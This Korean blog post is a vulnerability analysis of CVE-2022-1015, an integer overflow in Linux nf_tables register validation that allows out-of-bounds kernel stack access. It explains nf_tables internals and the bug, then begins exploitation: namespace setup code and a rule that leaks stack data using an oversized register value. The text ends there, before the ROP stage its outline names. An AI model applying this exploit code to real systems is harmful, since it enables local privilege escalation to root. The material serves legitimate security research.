[1-day Research] CVE-2022-1015 : nf_tables의 OOB 취약점을 이용한 리눅스 권한 상승 공격

The Orange·2023년 10월 14일
1

1-day-research

목록 보기
1/2
1. Overview
2. Component of the nf_tables
	2-1. Netlink
    2-2. table
    2-3. chain
    2-4. rule / expr
    	2-4-1. payload
		2-4-2. set_payload
		2-4-3. cmp
3. How nf_tables works
	3-1. nft_regs
    3-2. nft_do_chain
4. Vulnerability
5. Exploit
	4-1. Preparation
	4-2. Leak Kernel Data
    4-3. Kernel ROP
    	4-3-1. __do_softirq Gadget
        4-3-2. modprobe_path
6. Finish

해당 글은 Linux v5.12 버전 기준으로 작성되었습니다.
Reference : https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/

1. Overview


nf_tables는 Linux 커널의 하위 시스템 Netfilter에서 동작하는 기능입니다. Netfilter는 Linux OS에서 패킷 필터링과 패킷 처리를 관리하는 핵심 컴포넌트이며, nf_tables는 이러한 Netfilter에서 동작하는 규칙 기반 패킷 필터링 시스템입니다.

CVE-2022-1015는 nf_tables에서 발생한 Stack OOB 취약점입니다. nf_tables 기능을 통해 네트워크 패킷에 대한 read / write를 수행하는 표현식을 추가할 때, read / write에 대한 범위 검증 과정에서 Intager Overflow가 발생하기 때문에 공격자는 취약점을 발생시키는 표현식을 추가하여 커널 Stack의 정보를 패킷 데이터에 쓰거나 패킷 데이터를 커널 스택에 쓸 수 있습니다.

nf_tables 기능에 접근하기 위해서는 CAP_NET_ADMIN 권한이 필요합니다. 따라서 CVE-2022-1015를 트리거하기 위해서는 유저가 namespace 내에 격리되어 있거나, 스스로 namespace를 생성할 수 권한이 있어야 합니다. 일반적으로 대부분의 배포판 Linux에서는 kconfig의 CONFIG_USER_NS가 활성화되어 있어서, 일반 유저 권한에서 CVE-2022-1015를 통해 권한 상승 공격을 할 수 있습니다. 취약점 분석을 위해 Linux를 빌드할 경우에는 kconfig의 CONFIG_USER_NS를 활성화 해야합니다.

2. Component of the nf_tables


위에서 언급했듯, nf_tables는 규칙 기반 패킷 필터링 시스템입니다. nf_tablestable / chain / rule / expr라는 요소를 추가하여 규칙을 생성합니다. 유저가 네트워크 패킷 필터링 관련 명령어를 입력하면 내부적으로 패킷 필터링 규칙에 대한 table / chain / rule / expr가 추가됩니다. 또한 유저는 Netlink를 통해 직접 table / chain / rule / expr에 직접 접근할 수 있습니다.

  • expr : 규칙(rule)을 이루는 표현식입니다. 패킷의 포트 데이터를 reg1에 저장한다. 이와 같은 단순한 동작을 정의하며, 이러한 표현식들이 모여 하나의 규칙을 이룹니다.
  • rule : 다수의 expr를 이용하여 규칙(rule)을 만들 수 있습니다. 이러한 규칙은 chain
  • chain : rule과 Hook 데이터로 구성되어 있습니다. Hook 데이터는 어느 시점에서 패킷 필터링을 수행할지를 결정합니다. (예 : 패킷을 전송할 때 or 패킷을 수신할 때) 해당 시점에서 nf_tables는 chain에 담긴 rule을 통해 expr를 일렬로 실행합니다.
  • table : chain을 저장하고 있으며, 패킷 필터링이 동작할 네트워크 계층 프로토콜(ipv4, ipv6, arp 등)을 지정합니다.

에를 들어, 5000번 포트 TCP 패킷을 드랍하는 규칙을 적용한다면, nf_tables의 구조는 아래와 같아집니다.

table <table_name : table1, proto : NFPROTO_IPV4>
	-> chain <chain_name : chain1, hook : NF_INET_LOCAL_IN>
    	-> rule
        	-> expr : NFT_REG_1 = *(&PKT + NFT_PAYLOAD_NETWORK_HEADER + offsetof(protocol))
            -> expr : CMP NFT_REG_1 == IPPROTO_TCP
            -> expr : NFT_REG_1 = *(&PKT + NFT_PAYLOAD_NETWORK_HEADER + offsetof(dest))
    		-> expr : CMP NFT_REG_1 == htons(5000)
            -> expr : DROP

expr는 실제로 payload(패킷 데이터 레지스터에 쓰기), set_payload(레지스터를 패킷 데이터에 쓰기), cmp(레지스터 비교) 같은 함수 단위로 이루어져있습니다.

Netlink는 유저가 커널에 네트워크 정보를 전달하기 위해 사용되는 인터페이스입니다. 즉, 사용자는 Netlink를 통해 nf_tables와 상호작용하여 table / chain / rule / expr와 같은 요소들을 생성하고 추가할 수 있습니다.

위 링크에서 Netlink를 통해 table / chain / rule / expr를 추가하는 예제 코드를 찾을 수 있습니다.

위와 같이 libmnl 및 libnftnl 라이브러리를 통해 유저레벨에서 Netlink를 이용하는 코드를 만들 수 있습니다. 해당 라이브러리들은 static 컴파일을 지원하지 않기 때문에 라이브러리를 대상 커널로 복사해주어야 합니다.

	nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
				    NFT_MSG_NEWTABLE, family,
				    NLM_F_CREATE | NLM_F_ACK, seq++);

nft-table-add.c 코드를 보면 추가할 Table 데이터와 함께 NFT_MSG_NEWTABLE 값으로 Netlink Message를 만들어 전송합니다. 전송된 Netlink Message는 커널의 nfnetlink_rcv 함수가 수신합니다. 이후 Netlink Message는 오류 검증을 위해 해당 Netlink Message의 동작이 이전에 실행된 적이 없을 경우 nfnetlink_rcv_skb_batch 함수, 이전에 한번 이상 실행된 동작일 경우 netlink_rcv_skb->nfnetlink_rcv_msg 함수에 의해 처리됩니다.

https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nfnetlink.c#L252

err = nc->call(net, net->nfnl, skb, nlh,
	(const struct nlattr **)cda,
	extack);

이후 해당 코드를 통해 Netlink Message에 담긴 동작이 실행됩니다. 이때 nc 변수는 nfnl_callback 구조체이며, 아래와 같이 정의되어있습니다.

https://github.com/torvalds/linux/blob/master/net/netfilter/nf_tables_api.c#L8920

static const struct nfnl_callback nf_tables_cb[NFT_MSG_MAX] = {
	[NFT_MSG_NEWTABLE] = {
		.call		= nf_tables_newtable,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_TABLE_MAX,
		.policy		= nft_table_policy,
	},
	[NFT_MSG_GETTABLE] = {
		.call		= nf_tables_gettable,
		.type		= NFNL_CB_RCU,
		.attr_count	= NFTA_TABLE_MAX,
		.policy		= nft_table_policy,
	},
	[NFT_MSG_DELTABLE] = {
		.call		= nf_tables_deltable,
		.type		= NFNL_CB_BATCH,
		.attr_count	= NFTA_TABLE_MAX,
		.policy		= nft_table_policy,
	},
    ...

즉, Netlink Message에 담긴 NFT_MSG_NEWTABLE 값을 통해 nf_tables_newtable 함수가 호출되어 nf_tables에 table을 생성하는 작업이 진행됩니다.

2-2. table

static struct nftnl_table *table_add_parse(int argc, char *argv[])
{
	struct nftnl_table *t;
	uint16_t family;

	if (strcmp(argv[1], "ip") == 0)
		family = NFPROTO_IPV4;
	else if (strcmp(argv[1], "ip6") == 0)
		family = NFPROTO_IPV6;
	else if (strcmp(argv[1], "inet") == 0)
		family = NFPROTO_INET;
	else if (strcmp(argv[1], "bridge") == 0)
		family = NFPROTO_BRIDGE;
	else if (strcmp(argv[1], "arp") == 0)
		family = NFPROTO_ARP;
	else {
		fprintf(stderr, "Unknown family: ip, ip6, inet, bridge, arp\n");
		return NULL;
	}

	t = nftnl_table_alloc();
	if (t == NULL) {
		perror("OOM");
		return NULL;
	}

	nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
	nftnl_table_set_str(t, NFTNL_TABLE_NAME, argv[2]);

	return t;
}

nft-table-add.c 코드를 통해 table에 어떠한 요소가 들어가는지 알 수 있습니다. NFTNL_TABLE_NAME은 table의 이름을 의미하며, NFTNL_TABLE_FAMILY는 해당 table에 추가될 chain이 어떤 네트워크 계층 프로토콜의 패킷을 필터링 할지를 결정합니다.

2-3. chain

static struct nftnl_chain *chain_add_parse(int argc, char *argv[])
{
	struct nftnl_chain *t;
	int hooknum = 0;

	if (argc == 6) {
		/* This is a base chain, set the hook number */
		if (strcmp(argv[4], "NF_INET_LOCAL_IN") == 0)
			hooknum = NF_INET_LOCAL_IN;
		else if (strcmp(argv[4], "NF_INET_LOCAL_OUT") == 0)
			hooknum = NF_INET_LOCAL_OUT;
		else if (strcmp(argv[4], "NF_INET_PRE_ROUTING") == 0)
			hooknum = NF_INET_PRE_ROUTING;
		else if (strcmp(argv[4], "NF_INET_POST_ROUTING") == 0)
			hooknum = NF_INET_POST_ROUTING;
		else if (strcmp(argv[4], "NF_INET_FORWARD") == 0)
			hooknum = NF_INET_FORWARD;
		else {
			fprintf(stderr, "Unknown hook: %s\n", argv[4]);
			return NULL;
		}
	}

	t = nftnl_chain_alloc();
	if (t == NULL) {
		perror("OOM");
		return NULL;
	}
	nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, argv[2]);
	nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, argv[3]);
	if (argc == 6) {
		nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, hooknum);
		nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, atoi(argv[5]));
	}

	return t;
}

nft-table-chain.c 코드를 통해 알 수 있는 chain의 요소는 다음과 같습니다. 먼저, NFTNL_CHAIN_TABLE은 chain이 추가될 table의 이름입니다. NFTNL_CHAIN_NAME은 해당 chain의 이름이며, NFTNL_CHAIN_HOOKNUM은 chain이 동작할 Hook의 위치를 의미합니다. 즉, 어느 시점에서 패킷 필터링을 수행할지를 결정하는 값입니다.

IPv4에서 NFTNL_CHAIN_HOOKNUM의 종류는 아래와 같습니다.

  • NF_INET_PRE_ROUTING
  • NF_INET_LOCAL_IN
  • NF_INET_FORWARD
  • NF_INET_LOCAL_OUT
  • NF_INET_POST_ROUTING

예를 들어 NFTNL_CHAIN_HOOKNUMNF_INET_LOCAL_IN일 경우 패킷이 로컬로 수신되었을때, nf_tables는 해당 chain에 저장된 rule대로 패킷을 필터링합니다.

NFTNL_CHAIN_PRIO는 chain의 우선도를 결정합니다. 하나의 table에는 여러개의 chain을 추가할 수 있기 때문에, NFTNL_CHAIN_PRIO를 통해서 어떤 chain이 먼저 동작하게 할지를 정할 수 있습니다.

2-4. rule / expr

static struct nftnl_rule *setup_rule(uint8_t family, const char *table,
				   const char *chain, const char *handle)
{
	struct nftnl_rule *r = NULL;
	uint8_t proto;
	uint16_t dport;
	uint64_t handle_num;

	r = nftnl_rule_alloc();
	if (r == NULL) {
		perror("OOM");
		exit(EXIT_FAILURE);
	}

	nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
	nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
	nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);

	if (handle != NULL) {
		handle_num = atoll(handle);
		nftnl_rule_set_u64(r, NFTNL_RULE_POSITION, handle_num);
	}

	proto = IPPROTO_TCP;
	add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
		    offsetof(struct iphdr, protocol), sizeof(uint8_t));
	add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));

	dport = htons(22);
	add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
		    offsetof(struct tcphdr, dest), sizeof(uint16_t));
	add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));

	add_counter(r);

	return r;
}

nft-table-add.c 코드입니다. NFTNL_RULE_TABLE, NFTNL_RULE_CHAIN은 각각 해당 rule이 추가 될 table과 chain의 이름입니다.

add_payload, add_cmp는 각각 expr를 추가하는 함수입니다. expr는 여러가지가 존재하지만, 여기에서는 기본적인 expr에 대해서만 설명합니다.

2-4-1. payload

static void add_payload(struct nftnl_rule *r, uint32_t base, uint32_t dreg,
			uint32_t offset, uint32_t len)
{
	struct nftnl_expr *e;

	e = nftnl_expr_alloc("payload");
	if (e == NULL) {
		perror("expr payload oom");
		exit(EXIT_FAILURE);
	}

	nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
	nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
	nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
	nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);

	nftnl_rule_add_expr(r, e);
}

해당 expr는 패킷의 데이터를 레지스터에 복사(write)하는 동작을 합니다. 총 4개의 인자를 가지며, 각 인자를 아래와 같은 의미입니다.

  • NFTNL_EXPR_PAYLOAD_BASE : 패킷의 어떤 구조에서 시작할지 결정합니다.
  • NFTNL_EXPR_PAYLOAD_DREG : 어떤 레지스터에 데이터를 복사할지 결정합니다.
  • NFTNL_EXPR_PAYLOAD_OFFSET : 복사할 데이터의 offset을 결정합니다.
  • NFTNL_EXPR_PAYLOAD_LEN : 어느 길이만큼 데이터를 복사할지 결정합니다.
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
		    offsetof(struct iphdr, protocol), sizeof(uint8_t));

위 코드는 NFT_PAYLOAD_NETWORK_HEADER를 기준으로 offsetof(struct iphdr, protocol)만큼 떨어진 데이터를 sizeof(uint8_t)만큼 NFT_REG_1에 복사하는 표현식을 추가합니다. 즉, 해당 패킷의 protocol 정보를 NFT_REG_1에 저장하는 기록하는 동작을 합니다.

2-4-2. set_payload

payload 표현식이 패킷의 데이터를 NFT 레지스터에 복사하는 역할을 한다면, set_payload 표현식은 반대로 NFT 레지스터의 데이터를 패킷에 복사합니다.

payload 표현식을 추가하는 코드에서 NFTNL_EXPR_PAYLOAD_DREGNFTNL_EXPR_PAYLOAD_SREG로 바꾸어주면 set_payload 표현식을 추가할 수 있습니다.

2-4-3. cmp

static void add_cmp(struct nftnl_rule *r, uint32_t sreg, uint32_t op,
		    const void *data, uint32_t data_len)
{
	struct nftnl_expr *e;

	e = nftnl_expr_alloc("cmp");
	if (e == NULL) {
		perror("expr cmp oom");
		exit(EXIT_FAILURE);
	}

	nftnl_expr_set_u32(e,  `NFTNL_EXPR_CMP_SREG` , sreg);
	nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, op);
	nftnl_expr_set(e, NFTNL_EXPR_CMP_DATA, data, data_len);

	nftnl_rule_add_expr(r, e);
}

cmp는 레지스터 값을 비교하는 표현식입니다. NFTNL_EXPR_CMP_SREG를 비교대상 레지스터를, NFTNL_EXPR_CMP_OP 비교 연산의 종류를, NFTNL_EXPR_CMP_DATA는 비교할 값과 그 값의 길이를 정합니다.

비교 연산의 종류는 여러가지가 있지만 대표적으로 아래와 같습니다.

  • NFT_CMP_EQ : 두 비교 대상이 같을 경우
  • NFT_CMP_NEQ : 두 비교 대상이 다를 경우

CMP의 비교 연산을 만족할 경우 그 다음 expr가 실행되며, 만족하지 않을 경우 해당 chain에 다음 expr를 모두 건너뜁니다.

proto = IPPROTO_TCP;
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));

위 코드는 NFT_REG_1 레지스터를 IPPROTO_TCP 값과 같은지(NFT_CMP_EQ) 비교합니다.



	proto = IPPROTO_TCP;
	add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
		    offsetof(struct iphdr, protocol), sizeof(uint8_t));
	add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));

	dport = htons(22);
	add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
		    offsetof(struct tcphdr, dest), sizeof(uint16_t));
	add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));

	add_counter(r);

expr들을 이해했다면, 위에 nft-rule-add.c 코드가 어떤 rule을 추가하는지 알 수 있습니다.

  1. NFT_PAYLOAD_NETWORK_HEADER를 기준으로 offsetof(struct iphdr, protocol) 오프셋 만큼 떨어진 곳에 패킷 데이터를 NFT_REG_1에 1바이트 복사합니다. (프로토콜 정보를 NFT_REG_1에 저장)

  2. NFT_REG_1의 값이 IPPROTO_TCP인지 비교합니다. (TCP 패킷인지 체크)

  3. NFT_PAYLOAD_NETWORK_HEADER를 기준으로 offsetof(struct tcphdr, dest) 오프셋 만큼 떨어진 곳에 패킷 데이터를 NFT_REG_1에 2바이트 복사힙니다. (port 정보를 NFT_REG_1에 저장)

  4. NFT_REG_1의 값이 htons(22)인지 비교합니다. (패킷의 포트가 22번 인지 비교)

  5. counter expr를 이용해서 counter를 올립니다.

즉, 22번 포트의 TCP 패킷을 감지하여 counter를 올리는 규칙입니다. counter 표현식은 익스플로잇에 필요없기 때문에 여기에서 설명하지는 않겠습니다.

3. How nf_tables works


table / chain / rule / expr를 통해 정의된 패킷 필터링 규칙은 nft_regs 구조체와 nft_do_chain 함수에 의해 처리됩니다. nft_do_chain 함수는 각 chain을 가져와 rule에 담긴 일렬의 expr들을 차례대로 실행하며, expr는 정해진대로 nft_regs에 값을 쓰거나 비교합니다.

3-1. nft_regs

위에서 expr를 분석하면 알 수 있듯이, nf_tables는 패킷을 처리하는 과정에서 여러 레지스터를 이용합니다.
https://github.com/torvalds/linux/blob/master/include/net/netfilter/nf_tables.h#L119

enum nft_registers {
	NFT_REG_VERDICT,
	NFT_REG_1,
	NFT_REG_2,
	NFT_REG_3,
	NFT_REG_4,
	__NFT_REG_MAX,
	NFT_REG32_00	= 8,
	NFT_REG32_01,
	...
	NFT_REG32_15,
};

struct nft_verdict {
	u32				code;
	struct nft_chain		*chain;
};

struct nft_regs {
	union {
		u32			data[20];
		struct nft_verdict	verdict;
	};
};

nft_regs는 4바이트의 NFT_REG32_0 ~ NFT_REG32_15NFT_REG_VERDICT로 이루어져있습니다. 이때 정의된 nft_registers 열거를 보면 NFT_REG32_0 ~ NFT_REG32_15 이외에도 NFT_REG_1 ~ NFT_REG_4가 있는 것을 알 수 있습니다. 이들은 16바이트 레지스터로, NFT_REG_1NFT_REG32_0 ~ NFT_REG32_3, NFT_REG_2NFT_REG32_4 ~ NFT_REG32_7과 대응됩니다.

NFT_REG_VERDICT는 판정 레지스터로, 예를 들어 cmp expr에서 비교 연산 결과가 False라면 nft_verdict->code 변수에 NFT_BREAK 값을 대입합니다. 그러면 이후 nft_do_chain 함수에서 nft_verdict->code 값을 체크하여 NFT_BREAK일 경우 break를 실행하여 다음 expr를 건너뜁니다. 이외에도 chain의 흐름을 조작할 수 있는 특정 expr에서 nft_verdict->code 변수에 NFT_GOTO를 대입하고, nft_verdict->chain에 점프할 chain을 대입하면, nft_do_chainnft_verdict->chain에 저장된 chain으로 점프하게 됩니다. 이렇듯 NFT_REG_VERDICT는 chain의 흐름을 조작하는 레지스터입니다.

3-2. nft_do_chain

https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_core.c#L158

nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
	const struct nft_chain *chain = priv, *basechain = chain;
	const struct net *net = nft_net(pkt);
	struct nft_rule *const *rules;
	const struct nft_rule *rule;
	const struct nft_expr *expr, *last;
	struct nft_regs regs;
	unsigned int stackptr = 0;
	struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
	bool genbit = READ_ONCE(net->nft.gencursor);
	struct nft_traceinfo info;

	...
    
	rule = *rules;
	regs.verdict.code = NFT_CONTINUE;
	for (; *rules ; rules++) {
		rule = *rules;
		nft_rule_for_each_expr(expr, last, rule) {
			if (expr->ops == &nft_cmp_fast_ops)
				nft_cmp_fast_eval(expr, &regs);
			else if (expr->ops == &nft_bitwise_fast_ops)
				nft_bitwise_fast_eval(expr, &regs);
			else if (expr->ops != &nft_payload_fast_ops ||
				 !nft_payload_fast_eval(expr, &regs, pkt))
				expr_call_ops_eval(expr, &regs, pkt);

			if (regs.verdict.code != NFT_CONTINUE)
				break;
		}

		switch (regs.verdict.code) {
		case NFT_BREAK:
			regs.verdict.code = NFT_CONTINUE;
			continue;
		case NFT_CONTINUE:
			nft_trace_packet(&info, chain, rule,
					 NFT_TRACETYPE_RULE);
			continue;
		}
		break;
	}

	switch (regs.verdict.code & NF_VERDICT_MASK) {
	case NF_ACCEPT:
	case NF_DROP:
	case NF_QUEUE:
	case NF_STOLEN:
		nft_trace_packet(&info, chain, rule,
				 NFT_TRACETYPE_RULE);
		return regs.verdict.code;
	}

	switch (regs.verdict.code) {
	case NFT_JUMP:
		if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
			return NF_DROP;
		jumpstack[stackptr].chain = chain;
		jumpstack[stackptr].rules = rules + 1;
		stackptr++;
		fallthrough;
	case NFT_GOTO:
		nft_trace_packet(&info, chain, rule,
				 NFT_TRACETYPE_RULE);

		chain = regs.verdict.chain;
		goto do_chain;
	case NFT_CONTINUE:
	case NFT_RETURN:
		nft_trace_packet(&info, chain, rule,
				 NFT_TRACETYPE_RETURN);
		break;
	default:
		WARN_ON(1);
	}

	...
    
}

chain을 추가할때 설정한 NFTNL_CHAIN_HOOKNUM에 의하여 특정 시점에 후킹 함수가 실행되면, 최종적으로 nft_do_chain 함수에 도달하여 해당 chain의 expr를 차례대로 수행합니다. nft_do_chain의 코드를 보면 알 수 있듯이, chain에서 rule 데이터를 가져오고 해당 rule에 추가되어 있는 expr들을 차례대로 순회하며 expr_call_ops_eval 함수를 실행합니다. 이후 판정 레지스터(NFT_REG_VERDICT)를 체크하며 흐름을 제어합니다.

https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_core.c#L132

static void expr_call_ops_eval(const struct nft_expr *expr,
			       struct nft_regs *regs,
			       struct nft_pktinfo *pkt)
{
#ifdef CONFIG_RETPOLINE
	unsigned long e = (unsigned long)expr->ops->eval;
#define X(e, fun) \
	do { if ((e) == (unsigned long)(fun)) \
		return fun(expr, regs, pkt); } while (0)

	X(e, nft_payload_eval);
	X(e, nft_cmp_eval);
	X(e, nft_meta_get_eval);
	X(e, nft_lookup_eval);
	X(e, nft_range_eval);
	X(e, nft_immediate_eval);
	X(e, nft_byteorder_eval);
	X(e, nft_dynset_eval);
	X(e, nft_rt_get_eval);
	X(e, nft_bitwise_eval);
#undef  X
#endif /* CONFIG_RETPOLINE */
	expr->ops->eval(expr, regs, pkt);
}

expr_call_ops_eval함수는 실제 expr의 동작을 수행하는 함수를 호출하는 역할을 합니다. 인자로 주어진 expr가 cmp라면 nft_cmp_eval 함수를, payload라면, nft_payload_eval 함수를 호출합니다. 따라서 특정 expr의 동작을 디버깅하고 싶다면 expr_call_ops_eval에서 실제 동작을 수행하는 함수가 어떤 함수인지를 찾은 다음 그곳에 Breakpoint를 걸면 됩니다.

4. Vulnerability


https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_api.c#L8725

int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
	u32 reg;
	int err;

	reg = nft_parse_register(attr);
	err = nft_validate_register_load(reg, len);
	if (err < 0)
		return err;

	*sreg = reg;
	return 0;
}

...

int nft_parse_register_store(const struct nft_ctx *ctx,
			     const struct nlattr *attr, u8 *dreg,
			     const struct nft_data *data,
			     enum nft_data_types type, unsigned int len)
{
	int err;
	u32 reg;

	reg = nft_parse_register(attr);
	err = nft_validate_register_store(ctx, reg, data, type, len);
	if (err < 0)
		return err;

	*dreg = reg;
	return 0;
}

nft_parse_register_loadnft_parse_register_store는 각각 dreg, sreg를 파싱하는 역할을 합니다. 예를 들어, 사용자가 add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1, 0, 1); 이와 같은 expr가 포함된 rule 추가 요청 Netlink Message를 보내면, 커널은 nft_parse_register_load 함수를 통해 NFT_REG_1 값이 정상적인 레지스터 값인지 검사합니다.

https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_api.c#L8669

static unsigned int nft_parse_register(const struct nlattr *attr)
{
	unsigned int reg;

	reg = ntohl(nla_get_be32(attr));
	switch (reg) {
	case NFT_REG_VERDICT...NFT_REG_4:
		return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
	default:
		return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
	}
}

nft_parse_register 함수는 주어진 Netlink Message 구조체에 포함된 레지스터 정보를 통해 실제 레지스터 위치를 반환합니다. 예를 들어 NFT_REG_1 값의 경우 nft_registers 열거형에서 1로 정의되어 있으므로 1 * 16(NFT_REG_SIZE) / 4(NFT_REG32_SIZE) = 4가 반환됩니다. 반환된 4는 4 bytes * 4 = 16 bytes를 의미하며, 0 ~ 16 bytes는 판정 레지스터(NFT_REG_VERDICT)이기 때문에 4가 반환됩니다. 마찬가지로 NFT_REG_2는 8이 반환되어 32 bytes를 의미합니다. NFT_REG_1 ~ NFT_REG_4는 16바이트 레지스터이기 때문에 case 문에 의하여 4배수의 값이 반환됩니다.

NFT_REG32_00의 경우 nft_registers 열거형에서 8로 정의되어 있으며, default 문에 의하여 8 + 16 / 4 - 8 = 4가 반환됩니다. NFT_REG32_01 ~ NFT_REG32_15 역시 5 ~ 19가 반환됩니다.

3-1. nft_regs 파트에서 언급되었듯, nft_regs는 16바이트 레지스터와 4바이트 레지스터를 혼용해서 사용하기 때문에 위와 같은 동작을 하게되는 것입니다.

하지만 위 코드에서는 이상한 점을 찾을 수 있습니다. NFT_REG32_00 ~ NFT_REG32_15 값을 case로 처리하지 않고 default로 처리합니다. 즉, NFT_REG32_00 ~ NFT_REG32_15 외에 값에 대한 결과가 반환되는 것을 방지하지 않고 있습니다. 이는 이후 nft_validate_register_load 함수에서 문제를 발생시키게 됩니다.

https://github.com/torvalds/linux/blob/v5.12/net/netfilter/nf_tables_api.c#L8713

static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{
	if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)
		return -EINVAL;
	if (len == 0)
		return -EINVAL;
	if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))
		return -ERANGE;

	return 0;
}

nft_validate_register_load는 인자로 주어진 실제 레지스터 위치가 판정 레지스터(NFT_REG_VERDICT)를 침범하거나 레지스터 범위(sizeof_field(struct nft_regs, data))를 벗어나고 있는지 검사합니다.

여기서, nft_parse_register 함수가 NFT_REG_1 ~ NFT_REG_4NFT_REG32_00 ~ NFT_REG32_15 외에 값이 처리되는 것을 방지하고 있지 않기 때문에 reg는 0xfffffffc 같은 매우 큰 값이 들어갈 수 있게 됩니다. 결과적으로 reg * NFT_REG32_SIZE + len 연산에서 정수 오버플로우(Intager Overflow)가 발생해 값이 0이 될 수 있고, 레지스터 범위 검증을 우회할 수 있습니다.

레지스터 범위 검증을 우회한다면, payload 또는 set_payload를 통해 nft_regs 구조체 범위를 벗어난 메모리 복사를 할 수 있습니다. 특히 nft_regs 구조체 변수는 nft_do_chain 함수의 지역 변수이기 때문에 해당 취약점은 Stack에 대한 OOB를 발생시킵니다.

5. Exploit


공격자는 해당 취약점을 이용해 Stack OOB를 일으키는 expr가 담긴 chain을 생성하고, 임의의 패킷을 보내서 Stack의 데이터를 패킷에 복사하거나 패킷의 데이터를 Stack에 복사할 수 있습니다.

따라서, 127.0.0.1 루프백 아이피로 패킷을 전송하고 수신하여, Stack의 데이터를 읽거나 ROP 페이로드가 담긴 패킷을 전송해 커널 단에서 임의의 코드를 실행할 수 있습니다.

5-1. Preparation

void init_cpu(void){
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
        perror("[-] sched_setaffinity");
        exit(EXIT_FAILURE);    
    }
}

void init_namespace(void) {
    uid_t uid = getuid();
    gid_t gid = getgid();    

  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    exit(EXIT_FAILURE);    
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    exit(EXIT_FAILURE);    
  }

  write_to_file("/proc/self/uid_map", "0 %d 1", uid);
  write_to_file("/proc/self/setgroups", "deny");
  write_to_file("/proc/self/gid_map", "0 %d 1", gid);
}

int main(int argc, char *argv[])
{
	init_cpu();
    init_namespace();
    
	system("ip addr add 127.0.0.1/8 dev lo");
    system("ip link set lo up");
}

권한 상승 코드를 작성하기에 앞서, 유저 단에서 nf_tables를 안정적으로 이용하기 위해 다음과 같은 코드가 필요합니다. 먼저, init_cpu는 Exploit 코드의 프로세스를 하나의 CPU 코어에 바인딩하여 Exploit을 안정적으로 만드는 역할을 합니다. init_namespace 함수는 Exploit 코드의 프로세스를 네트워크 namespace에 격리합니다. 이전에 언급했듯, nf_tables의 기능을 이용하기 위해서는 CAP_NET_ADMIN 권한이 필요합니다. 프로세스를 네트워크 namespace의 격리함으로써 해당 프로세스는 root 권한이 아님에도 CAP_NET_ADMIN 권한을 가질 수 있습니다. ip addr add 127.0.0.1/8 dev loip link set lo up는 격리된 네트워크 namespace에서 127.0.0.1 루프백 아이피를 활성화하는 역할을 합니다.

5-2. Leak Kernel Data

    proto = IPPROTO_UDP;
    add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
            offsetof(struct iphdr, protocol), sizeof(uint8_t));
    add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));

    dport = htons(1234);
    add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
            offsetof(struct tcphdr, dest), sizeof(uint16_t));
    add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));

    add_set_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xfffffffc, 0x20, 0x30);

